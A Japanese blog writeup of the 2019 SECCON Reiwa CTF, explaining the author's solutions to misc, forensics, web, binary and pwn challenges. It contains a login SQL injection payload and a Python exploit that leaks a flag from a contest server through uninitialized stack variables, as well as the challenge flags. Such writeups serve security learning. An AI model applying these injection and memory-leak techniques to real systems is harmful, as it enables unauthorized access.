令和最初のCTFはSECCONだと!?
平成から令和にかけてCTFを解け?
令和と掛けてCTFと解く。
その心は平成/平静でいられない、だろ!!
ふざけるな!!
https://2018.seccon.jp/2019/04/seccon-ctf.html
ということで、平成30年4月30日23時から令和元年5月1日2時まで開催された 令和CTF に参加しました。
個人戦だったので1gyで参加して2位でした。
元々は2時間のコンテストだったので、9問も用意されてて驚きました。
個人的には面白い問題が多かったと思います。
Writeupはいろいろな方が既に書いていると思うのですが、自分なりにどう考えて解いたのかを共有したいと思います。
既に問題が見れなくなっているので、うろ覚えのものが多いです。
Misc
フラグの例は? (10pt)
問題文に書いてあるフラグをそのまま入力するだけ。
SECCON{reiwa}
bREInWAck (100pt)
タイトルを見てBrainfuck関連の問題なのはすぐに気付いたのですが、サーバーが重くて問題文にアクセスできるまでに20分以上かかりました…。
問題文を確認するとBrainfuckのWikipediaページへのリンクが。ビンゴ。
参考:https://ja.wikipedia.org/wiki/Brainfuck
添付されているファイルを見ると明らかにBrainfuckプログラムっぽいものが書かれています。
令和和和和和和和和和和和和和和和和「令和
和和和和令和和和和令和和和和和和和令和和
和和和和令和和平平平平平成」令和和和。令
和和和和和。成成。。平成成成成。成。令令
和和和和和和和和和和和。令和和。平平平和
和和和。令和和。和和和和。令令和和和和和
和和和和和和和。平平平和和和和和和和和和
和和和和。成成成成成成成成。令成成成成成
成成成。令令。成成成成成。成成成成成成。
令和。平平和和。令令令和和和和和和和和和
和。
登場する文字は 平成令和「」。
の7種類。
Brainfuckは命令が8つしかなく、,
以外の命令と一対一で置換できそうだと分かります。
脳死で「」。
を[].
に置換。
Brainfuckではループを作るために[>+++<-]
みたいなのをやりがちなので、「
の次にある令和
を>+
に、」
の前にある平成
を<-
に置換。
最終的には以下の文字で置き換えました。
「
→[
」
→]
。
→.
平
→<
成
→-
令
→>
和
→+
>++++++++++++++++[>+
++++>++++>+++++++>++
++++>++<<<<<-]>+++.>
+++++.--..<----.-.>>
+++++++++++.>++.<<<+
+++.>++.++++.>>+++++
+++++++.<<<+++++++++
++++.--------.>-----
---.>>.-----.------.
>+.<<++.>>>+++++++++
+.
適当なBrainfuck処理系で動かすとフラグが出力されます。
SECCON{bREIn_WAnic!}
零は? (100pt)
SECCONってこういうダジャレみたいなタイトル好きですよね。私も好きです。
一次方程式が表示されるので、?
に入る数字を入力して、100問解くとフラグが出るという問題。
タイムアウトがあるので手動だと厳しそう。
$ nc zerois-o-reiwa.seccon.jp 23615
[1/100]
0=?-59
?=59
[2/100]
0=?+98-109
?=
Timeout, bye.
(Enter RETURN key if connection is not disconnected)
z3やらsympyやらで解くのが安全だと思いつつも、手元の環境で用意していなかったのでゴリ押しすることに…。
後半の問題が難しくなって解けなくなったら考えようと思っていたらそのまま解けた。
?
を置換してeval
で0になるような数字を探索。
from telnetlib import Telnet
def solve(formula):
a, b = formula.strip().split('=')
i = 0
while True:
if 0 == eval(b.replace('?', str(i))):
return str(i)
i += 1
def main():
with Telnet('zerois-o-reiwa.seccon.jp', 23615) as tn:
for i in range(100):
tn.read_until(b'\n')
formula = tn.read_until(b'\n').decode()
ans = solve(formula)
print(i, formula, ans)
tn.write('{}\n'.format(ans).encode())
tn.interact()
main()
...
96 0=36+37*32-5*66-?+73-33*19+79*57+11-64*40+70-18+63-57*26*65-91+50*52-21+13+17*39-88+10-6*94*61-61+63+21-34*45*34+24-22+28-3*78*30-45+29-39*34+15+31-22*44+87*94-54*29+15-99+23-66*49-36+50*30+83-28*81-14*28+54-84*27+79+0*25-63-74+35*27+65*6-18+34-23*47-41*82+29-74*56+98-33+13*10*82-52+43+183132
79
97 0=12-13+99*73-45+22*61+75*59-89*73+39-94+86*70-45+33*61-55+10-13*73+90*68-70+84-4*97*54-58+37*38-22+47*34-86+27+82-43*45-12*63+72*11-0+44*60+56-35-36*51+80+92*96-94*74-80+48*33-96+90-31+87*72*3+12-91+39*23-5-16+93*46+39-93*92-44+11*84+83-97*9-21*66+41-50*85+67-40*11+45+72-73*78+46*36-87-20-?
9312
98 0=43-18*9+65+54-81*92*10+91-96-18*11+80*3-60+79+68-87*2*17-60+88-75*71+12-69+72*49-35*92+24-45*49+24-55*61+44*58+12-42-85+36*4-91*0+88-54*77+32+15-24*32-65*3+46-76+64*13-72*17+54+37-58*80+0*70-56-62+3*43-38+4*45-7*69+74-50*68+42+92-89*25-79+76*55*37-74+64-71+80*9+53*20-24*79+34-?*0+8-53391
0
99 0=5+29*24-24*19-34+65-75+96*76*98-38+65-65+19*47-16*71+50-9+59*53+78*85-31*73+6-19*54+51-24*44+4-78+8-50*25*0+6-58+43-28*4-33*89+86*77+0-45-47+19*38+93-59*2+35-17*99-45+77*79-20+41*46+74-1*52*33+71-93+60*61-37+35*0-65+73*99-45+0-93*47*51-57+52*7+29-94-34*94+30-26+24*11*33-51+53+92-0*?-522808
0
?=Congratulations!
The flag is SECCON{REIWA_is_not_ZERO_IS}.
(Enter RETURN key if connection is not disconnected)
結局最後まで同じプログラムでいけた。こういうのは後半で問題パターンを変えてきて嫌がらせをしがちだったので安心。
最後の2問の答えが0なのは零
,輪
ということなのかな?
SECCON{REIWA_is_not_ZERO_IS}
Forensic
新元号発表 (100pt)
流石にここまで隠れてると復元は無理そうなのと、PDFファイルであることから別々の画像オブジェクトになっていると予想。
PDFを編集できるようなソフトを用意していなかったが、LibreOfficeのWriterで開けることを思い出して開いてみた。
このままでは読めなかった。過去にSECCONでQRコードを復元する問題が出ていたのを思い出しつつ、時間が掛かりそうなので後回しにしたが、
正答者が多かったのでおかしいと思い、もうちょっと調べたら別のパーツが出てきた。
適当な画像編集ソフトで重ねて読み取り。
The flag is SECCON{overlay_overlap_overera}
SECCON{overlay_overlap_overera}
Web
reiwaVote (100pt)
出たわね。
ファイルを実行するとローカルでWebアプリが動作する。
元号の投票をして、令和を1位にするとフラグが表示される。
謎の勢力よって安晋
が必ず1位になってしまう模様。
少し試したところ、ログイン時にユーザー名でSQLインジェクションが出来ることがわかった。
登録されているユーザー名しか入力できないのと、登録時にはインジェクションが起こらないので無駄に時間を使ってしまった…。
適当にユーザー名を' or 1 --
にして登録とログインをすると、パワーユーザーらしきものでログインできる。
これ、いろいろな所から怒られそう…。
SECCON{e32afd2cf7b98e41cf70fed}
Binary
和暦の流れ (100pt)
ELFバイナリ。
メモリの値と入力された文字をxorした結果を比較する処理がある。
このあたり
脳がバグってローカル変数のアドレスがわけわからなくなったので、最近公開されたghidraを使ってデコンパイルしてみた。
https://www.nsa.gov/resources/everyone/ghidra/
while (local_e8 < 5) {
local_be[local_e8] = *(byte *)((int)&local_de + local_e8) ^ local_ca[local_e8];
if (local_e4[local_e8] != local_be[local_e8]) {
something_is_wrong();
}
local_e8 = local_e8 + 1;
}
ghidraすごい。
入力値を逆算するようなプログラムを書いた。
s1 = bytearray(b'SHOWA')
s2 = bytearray(b'HEISEI')
a1 = [1, 9, 0x16, 0, 0]
a2 = [0, 0, 0x10, 0, 4, 0x10]
print(bytes([(a^b) for (a,b) in zip(s1, a1)]).decode())
print(bytes([(a^b) for (a,b) in zip(s2, a2)]).decode())
# RAYWA
# HEYSAY
$ ./reiwa
Welcome to New Era! Please answer the name of New Era! RAYWA
Welcome to New Era! Please answer the name of Old Era! HEYSAY
SECCON{M-T-S-H-R}
SECCON{M-T-S-H-R}
令和コード (292pt)
SECCON恒例の謎アーキテクチャのバイナリ。解いた人が少なかった。
$ file runme
runme: ELF 32-bit LSB executable, Matsushita MN10300, version 1 (SYSV), statically linked, not stripped
Online Disassemblerでディスアセンブルができた。
https://onlinedisassembler.com/
イマイチ脳内で処理をシミュレートできなかったので、とりあえず動かしてみることに。
坂井さんの 『cross2-gcc494-v1.0.tgz をインストール済みのDebian8イメージ』 を利用させていただきました。感謝。
http://kozos.jp/vmimage/burning-asm.html
動かすだけではダメで正しいコードを入力する必要があるみたい。直感でREIWA
を入力したらフラグが出てきた。
ちゃんとした解き方は後で考えてみたい。
user@debian:~$ /usr/local/cross2-gcc494/bin/mn10300-elf-run ~/runme
Input restruct code.
REIWA
FLAG: SECCON{MachineCodeOfREIWA}
SECCON{MachineCodeOfREIWA}
令和アセンブリ (300pt)
終盤までずっと0 solvedだったので競技時間中は取り掛かりませんでした。(pwnで時間を使いすぎた…。)
いわゆるshellcode問題というやつ。
2nバイト目と2n+1バイト目の合計が0=(0x100)になるようなシェルコードが実行される。
ゼロ和=零和=令和ってことでしょうか
制約がキツすぎて結局未だに解けてません…。
時間を見つけて解いておきたい。
Pwnable
和暦 (276pt)
競技時間中に解けませんでした。悔しい。
できることは
- 和暦の変換
- フラグファイルの読み込み
の2つ。
後者はメモリに読むだけで出力はされない。
後者で読み込んだファイルを前者の処理でリークさせる問題だと予想した。
フラグテキストはスタック上に置かれるため、和暦変換処理で未初期化変数を表示させることで断片が見れる。
scanfに+
や-
を渡すと変数が未初期化の状態で進める。
8byteリークできるので、フラグファイルの読み込みの処理で8byteづつシークして読むとフラグが分かる。
ファイルが大きくてタイムアウトしてしまうので2回に分けて読み出した。
from telnetlib import Telnet
def main(page):
flag = b''
with Telnet('wareki-o-reiwa.seccon.jp', 36294) as tn:
try:
tn.read_until(b'>> ')
for i in range(page*500, page*500+500):
tn.write('2\n'.encode())
tn.write('{}\n'.format(i*8).encode())
tn.write('1\n'.encode())
tn.write('+\n'.encode())
tn.write('1\n'.encode())
tn.read_until(b'>> ')
tn.read_until(b'>> ')
tn.read_until(b'>> ')
tn.read_until(b'>> ')
x = int(tn.read_until(b'>> ').decode().split()[1]) + 2018
flag += x.to_bytes(8, 'little')
print(i, x)
except:
pass
with open('flag.txt', 'ab') as f:
f.write(flag)
for i in range(2):
main(i)
...
退位礼正殿の儀の天皇陛下のおことば(平成31年4月30日)
今日をもち,天皇としての務めを終えることになりました。
ただ今,国民を代表して,安倍内閣総理大臣の述べられた言葉に,深く謝意を表します。
即位から30年,これまでの天皇としての務めを,国民への深い信頼と敬愛をもって行い得たことは,幸せなことでした。象徴としての私を受け入れ,支えてくれた国民に,心から感謝します。
明日から始まる新しい令和の時代が,平和で実り多くあることを,皇后と共に心から願い,ここに我が国と世界の人々の安寧と幸せを祈ります。
http://www.kunaicho.go.jp/page/okotoba/detail/46#155
=====
FLAG : SECCON{WAREKI_g035_0n_f0r3v3r}
SECCON{WAREKI_g035_0n_f0r3v3r}
最後に
サーバーのトラブル等で大変だったと思いますが、個人的には凄く楽しかったです。
運営の皆さん、ありがとうございました。
こういう大会で初めて上位に入れたので嬉しいです。